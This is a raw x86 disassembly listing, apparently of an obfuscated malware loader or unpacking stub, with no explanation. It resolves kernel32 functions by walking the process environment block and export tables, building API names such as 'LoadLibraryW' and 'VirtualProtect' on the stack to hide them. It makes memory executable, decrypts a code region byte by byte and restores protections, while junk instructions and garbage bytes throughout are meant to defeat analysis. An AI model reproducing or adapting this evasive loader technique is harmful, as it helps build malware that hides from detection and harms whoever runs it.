mov dword [ebp - 0x4dc], ecx
push edx
push edx
add esp, 4
add edx, 0x3c04
or edx, 0x7102
xor edx, 0xa125
pop edx
push ebx
and ebx, 0xba08
and ebx, 0x22e
sub ebx, 0x21a4
xor ebx, 0x12a9a
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push ebx
add esp, 4
or esi, 0xc696
pop esi
push ecx
push ecx
add esp, 4
jmp 0x44f371
add ecx, 0x10bdc
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x17e62
xor eax, 0x4ebb
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push eax
add esp, 4
xor esi, 0x763e
call 0x44f3fa
add byte [0x3d383f40], dh
inc edi
inc edi
inc edi
add esp, 4
xor esi, 0xbf3d
pop esi
push eax
sub eax, 0x12c6
jmp 0x44f412
pop eax
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x44f430
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x44f48a
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x44f358
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x44f358
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x44f474
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x44f47e
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x44f4d3
push ebx
sub ebx, 0x9572
pop ebx
push eax
push edx
add esp, 4
or eax, 0xf832
sub eax, 0x158e1
xor eax, 0x905e
call 0x44f4c1
add byte [ebp + 0x35], cl
xor eax, 0x3341414b
dec ecx
aas
add esp, 4
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x44f53b
push ecx
xor ecx, 0x13d3a
and ecx, 0x81d3
sub ecx, 0x3737
and ecx, 0x14597
pop ecx
push ebx
push ecx
add esp, 4
add ebx, 0x20ef
xor ebx, 0x8062
add ebx, 0x13783
pop ebx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x44f531
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x44f2fc
mov dword [ebp - 0x2e0], 0
push eax
jmp 0x44f543
pop eax
push edx
push eax
add esp, 4
call 0x44f555
add byte [esi], dh
xor al, byte [edx + 0x45]
dec edx
inc esp
add esp, 4
and edx, 0x1c76
jmp 0x44f566
sub edx, 0x4959
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
push ebx
add esp, 4
add ebx, 0xa329
and ebx, 0xc9de
pop ebx
push ecx
call 0x44f59e
add byte [ecx], bh
inc esp
inc esi
inc esi
xor al, 0x39
xor eax, 0xc4833c3f
add al, 0x81
leave
add eax, dword [ecx]
add byte [ecx + 0xf69cf1], al
add byte [ecx - 0x39], bl
test esp, esi
clc
invalid
push edi
call 0x44f8eb
add byte [edi + 0x38], al
inc esi
xor eax, 0x4b503437
dec ecx
add esp, 4
pop edi
push ebx
push ecx
add esp, 4
add ebx, 0x8a0f
sub ebx, 0x17316
add ebx, 0x1037b
add ebx, 0x4ce7
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
push ecx
add esp, 4
or eax, 0x17f8d
pop eax
push eax
push eax
add esp, 4
and eax, 0x17208
pop eax
push esi
add esi, 0x3b0e
sub esi, 0x69e9
and esi, 0x142ae
add esi, 0x8478
pop esi
cmp dword [ebp - 0x3cc], 0
je 0x44f960
cmp dword [ebp - 0xa5c], 0
jne 0x44f9a6
push ebx
xor ebx, 0xeb2e
and ebx, 0x75e1
call 0x44f97c
add byte [ebx], bh
inc eax
inc ebx
cmp byte [esi + eax*2], bh
inc ecx
dec ebp
dec eax
add esp, 4
pop ebx
push esi
push esi
add esp, 4
sub esi, 0x5f94
xor esi, 0x75e2
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push eax
add esp, 4
call 0x44f9c5
add byte [edx + 0x33], cl
cmp byte ss:[0x454f4945], bh
inc edx
add esp, 4
xor ecx, 0x7c6
call 0x44f9de
add byte [0x4f394135], bh
dec eax
xor esi, dword [edi]
cmp byte [edx - 0x7d], al
les eax, [ecx + ebx*2]
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
or esi, 0x15bd7
pop esi
push edx
push ebx
add esp, 4
add edx, 0x14970
pop edx
push ebx
push esi
add esp, 4
call 0x44fa35
add byte [esi + 0x42], al
push eax
inc ebp
inc esp
xor al, 0x4d
xor eax, dword ss:[ebx - 0x347efb3c]
adc dword [eax], edi
add byte [ebx - 0x3a], bl
test dword [eax + 0x56fffff6], esp
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
and edx, 0x1731f
xor edx, 0x17c14
or edx, 0x52fa
add edx, 0x110ad
pop edx
push eax
call 0x44fad0
add byte [ebp + 0x35], al
xor bh, byte [edi]
cmp dh, byte [esi]
xor eax, dword [ebx - 0x177efb3c]
adc ebx, dword [eax + 0x64580000]
mov eax, dword [0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push ecx
add esp, 4
or ebx, 0x15441
pop ebx
push ecx
and ecx, 0xb259
call 0x44fb21
add byte [ebx + 0x49], al
cmp eax, 0x48324235
add esp, 4
pop ecx
push edx
xor edx, 0xfc55
sub edx, 0x181c4
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x44fb4b
mov dword [ebp - 0x2a8], 0
jmp 0x44fdf2
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
jmp 0x44fb65
pop ebx
push eax
push esi
add esp, 4
call 0x44fb79
add byte [ebp + 0x42], al
xor eax, dword [ebx + 0x4a]
cmp al, 0x3e
cmp eax, dword [ebx + 0x515804c4]
push ebx
add esp, 4
or ecx, 0x177d3
add ecx, 0x15762
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x44fba7
mov dword [ebp - 0x2a8], 0
jmp 0x44fdf2
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push esi
add esp, 4
add esi, 0x4d23
and esi, 0xf839
and esi, 0x17276
pop esi
push eax
add eax, 0xe1c5
add eax, 0x14878
xor eax, 0x17586
jmp 0x44fbe4
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
and ebx, 0x2758
and ebx, 0x1125a
sub ebx, 0x129ed
pop ebx
push edx
sub edx, 0xb667
xor edx, 0x1b57
pop edx
push edx
sub edx, 0x6692
pop edx
push eax
add eax, 0x9fea
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
xor edx, 0x15d9b
sub edx, 0x58d9
and edx, 0x18a3
pop edx
push esi
push eax
add esp, 4
add esi, 0x13ba2
xor esi, 0x107ef
add esi, 0x5458
xor esi, 0x5903
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x44fce7
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x44fd41
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x44fc0f
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x44fc0f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x44fd2b
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x44fd35
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x44fd8a
push eax
and eax, 0x45bc
pop eax
push eax
push ecx
add esp, 4
add eax, 0x11802
jmp 0x44fd63
and eax, 0x66f2
call 0x44fd78
add byte [0x48354b49], dh
cmp dword [eax], edi
dec ecx
dec edx
add esp, 4
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x44fdf2
push esi
and esi, 0x1513e
call 0x44fd9f
add byte [ebx + esi], bh
cmp byte [ebp + 0x38], al
cmp eax, 0xc4833b3e
add al, 0x5e
push esi
add esi, 0xba8a
call 0x44fdb8
add byte [edi], bh
dec ebx
xor al, 0x3e
inc ecx
dec ecx
xor al, 0x37
add esp, 4
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x44fde8
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x44fbb3
mov dword [ebp - 0x2a8], 0
push edx
sub edx, 0xf822
xor edx, 0x13baf
and edx, 0x170db
pop edx
push ecx
push eax
add esp, 4
and ecx, 0xc33e
xor ecx, 0x6c8f
sub ecx, 0x2274
xor ecx, 0x29c8
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x450729
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
xor edi, 0x12815
and edi, 0x95ec
call 0x44fee6
add byte [eax + 0x32], cl
inc ebx
dec ebp
cmp byte [ecx + edi], dh
dec ebp
cmp eax, 0x8104c483
out 5, eax
pop eax
add byte [eax], al
pop edi
push esi
push eax
add esp, 4
or esi, 0x14f0a
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
and edi, 0x1642f
pop edi
push esi
push edx
add esp, 4
add esi, 0x15541
or esi, 0xab3
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0x7ea8
or ebx, 0xc67c
and ebx, 0x14264
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x44ffc9
mov dword [ebp - 0x710], 0
jmp 0x450270
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
push edx
add esp, 4
sub esi, 0xab02
add esi, 0xa2a4
call 0x44fff8
add byte [ecx], bh
dec ecx
aaa
inc ecx
dec ebp
xor al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [edi], bh
inc ebx
xor al, 0x42
xor al, 0x37
inc ebx
dec ecx
add esp, 4
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x450025
mov dword [ebp - 0x710], 0
jmp 0x450270
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
sub eax, 0xfab0
call 0x450048
add byte [edi + 0x4e], cl
inc ecx
aaa
dec edx
inc esp
dec ebx
aaa
dec edi
add esp, 4
call 0x450059
add byte [ebx], bh
dec edx
inc ecx
cmp al, 0x44
dec ecx
aaa
dec ecx
add esp, 4
sub eax, 0x1f02
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push ebx
add esp, 4
add eax, 0x165c1
call 0x4500a6
add byte [edi + 0x34], cl
inc eax
inc esi
dec esi
inc ebx
dec esp
inc edi
add esp, 4
call 0x4500b5
add byte [ebp + 0x45], al
dec eax
push eax
inc ebp
add esp, 4
xor eax, 0x882a
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push eax
add esp, 4
and esi, 0xf7e1
sub esi, 0x1047d
jmp 0x45012f
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0x1437d
add ebx, 0x114ad
jmp 0x450147
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x450165
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4501bf
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x45008d
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x45008d
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4501a9
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4501b3
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x450208
push ebx
push esi
add esp, 4
xor ebx, 0xf488
and ebx, 0x4fe3
jmp 0x4501e0
pop ebx
push ecx
push ecx
add esp, 4
jmp 0x4501ed
add ecx, 0x11ac5
sub ecx, 0x1083e
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x450270
push edi
push esi
add esp, 4
add edi, 0x7391
or edi, 0x80e
sub edi, 0x1544
pop edi
push ebx
or ebx, 0x11c54
add ebx, 0xbb62
add ebx, 0x17365
sub ebx, 0xc228
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x450266
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x450031
mov dword [ebp - 0x710], 0
push ecx
push esi
add esp, 4
jmp 0x45027e
jmp 0x450287
and ecx, 0xaeba
sub ecx, 0xc838
pop ecx
push ecx
add ecx, 0x13e84
jmp 0x4502a1
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x4502ec
push ebx
sub ebx, 0x309
sub ebx, 0x135d1
pop ebx
push edi
jmp 0x4502c3
pop edi
push esi
add esi, 0x126c0
call 0x4502d9
add byte [eax + ecx*2 + 0x37], cl
xor eax, 0x383a3f33
add esp, 4
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x450e14
push ebx
push edx
add esp, 4
sub ebx, 0x10f20
pop ebx
push ebx
or ebx, 0x182ae
sub ebx, 0x11b69
and ebx, 0xfa98
sub ebx, 0x109dc
pop ebx
push eax
push ecx
add esp, 4
or eax, 0x130ed
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x45035d
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x45064e
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x450385
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x45064e
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4503b7
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x45064e
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4503dc
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x45064e
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x450436
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x450642
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4504a6
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x450558
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x450558
push ebx
jmp 0x4504db
xor ebx, 0x485
xor ebx, 0xc363
jmp 0x4504ec
pop ebx
push edx
push edx
add esp, 4
or edx, 0xacbc
or edx, 0xb71f
sub edx, 0x108db
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x45054a
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x450551
jmp 0x450497
jmp 0x450558
push ebx
sub ebx, 0x1e15
sub ebx, 0x329d
or ebx, 0x9540
pop ebx
push edi
push ecx
add esp, 4
sub edi, 0x13e4b
add edi, 0xaad
pop edi
push ebx
push ebx
add esp, 4
sub ebx, 0x3c49
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4505b7
mov dword [ebp - 0xc5c], 0
jmp 0x450626
push ebx
and ebx, 0xdf7e
add ebx, 0x15871
pop ebx
push eax
push edx
add esp, 4
xor eax, 0x126be
jmp 0x4505d6
add eax, 0x14d58
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0x13612
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x45061c
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x450626
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x45063d
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x45064e
jmp 0x450427
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x450729
push esi
push ebx
add esp, 4
add esi, 0x15af8
pop esi
push edi
push eax
add esp, 4
call 0x45067b
add byte [eax], bh
dec ecx
cmp al, 0x34
cmp eax, 0x3f3b453b
add esp, 4
sub edi, 0x15a45
pop edi
push ecx
xor ecx, 0x1156b
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
and eax, 0x395a
call 0x4506af
add byte [ebx + 0x3e], cl
inc esp
dec ebp
cmp edi, dword [eax]
xor eax, 0x4c48338
pop eax
push ecx
push edi
add esp, 4
or ecx, 0x1e8a
add ecx, 0x121d6
or ecx, 0x3c29
pop ecx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x450729
push ebx
call 0x4506f7
add byte [esi], bh
cmp eax, 0x3e323348
aaa
xor eax, 0x8104c483
retf
push edx
xor edx, 0xbc50
xor edx, 0x963d
xor edx, 0x11d0d
and edx, 0xc53e
pop edx
push ecx
push esi
add esp, 4
sub ecx, 0x13644
sub ecx, 0x9385
add ecx, 0x383c
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push ecx
add esp, 4
call 0x450795
add byte [edx], dh
dec ebp
push eax
cmp al, 0x42
cmp eax, 0x5e04c483
push esi
xor esi, 0xb0d0
and esi, 0x13a91
pop esi
push esi
xor esi, 0x12c30
xor esi, 0x8715
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x4507cd
mov dword [ebp - 0x2a8], 0
jmp 0x450a74
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
add esi, 0xabc0
or esi, 0xa2b3
or esi, 0xe54d
and esi, 0xf863
pop esi
push esi
push edx
add esp, 4
sub esi, 0x9c7c
xor esi, 0x3426
sub esi, 0x15c14
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x450829
mov dword [ebp - 0x2a8], 0
jmp 0x450a74
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
push ebx
add esp, 4
call 0x450848
add byte [ebx + eax*2], bh
cmp ecx, dword [ebx + 0x3f]
dec ebp
inc eax
add esp, 4
xor eax, 0x6a41
and eax, 0x435a
pop eax
push ebx
jmp 0x450860
sub ebx, 0x87f1
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
jmp 0x450898
and ebx, 0x11b21
jmp 0x4508a7
pop ebx
push ebx
and ebx, 0xc0a5
jmp 0x4508b6
and ebx, 0x851d
xor ebx, 0xf57a
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edi
add edi, 0x68b6
jmp 0x450929
call 0x450935
add byte [esi], dh
dec ecx
dec edi
inc edi
cmp al, byte [edi - 0x7d]
les eax, [ecx + eax*4]
iretd
push edi
call 0x450a85
add byte [esi + 0x50], al
inc eax
cmp al, 0x4f
push eax
cmp al, 0x33
push eax
xor eax, 0x8104c483
iretd
push ecx
or ecx, 0xb608
pop ecx
push edi
push ecx
add esp, 4
and edi, 0xc9b8
pop edi
push esi
push edx
add esp, 4
add esi, 0x12582
and esi, 0xa31
xor esi, 0x137a0
sub esi, 0x139e1
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x450eb9
push ebx
push esi
add esp, 4
or ebx, 0x252f
add ebx, 0x10a08
or ebx, 0x3ea5
pop ebx
push edx
xor edx, 0x2ef9
xor edx, 0x1502b
sub edx, 0x8dfa
sub edx, 0x2709
pop edx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x450ed6
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x450f32
push ecx
or ecx, 0x11979
add ecx, 0x12ea8
add ecx, 0xb759
add ecx, 0x10fc0
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0x1577a
pop ecx
push ecx
push esi
add esp, 4
xor ecx, 0x10a3a
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x450ec7
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x450faa
push eax
add eax, 0x9a97
add eax, 0xcb3f
and eax, 0x15810
and eax, 0x1b6e
pop eax
push ecx
and ecx, 0x173b0
jmp 0x450f8d
pop ecx
push esi
add esi, 0x8998
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
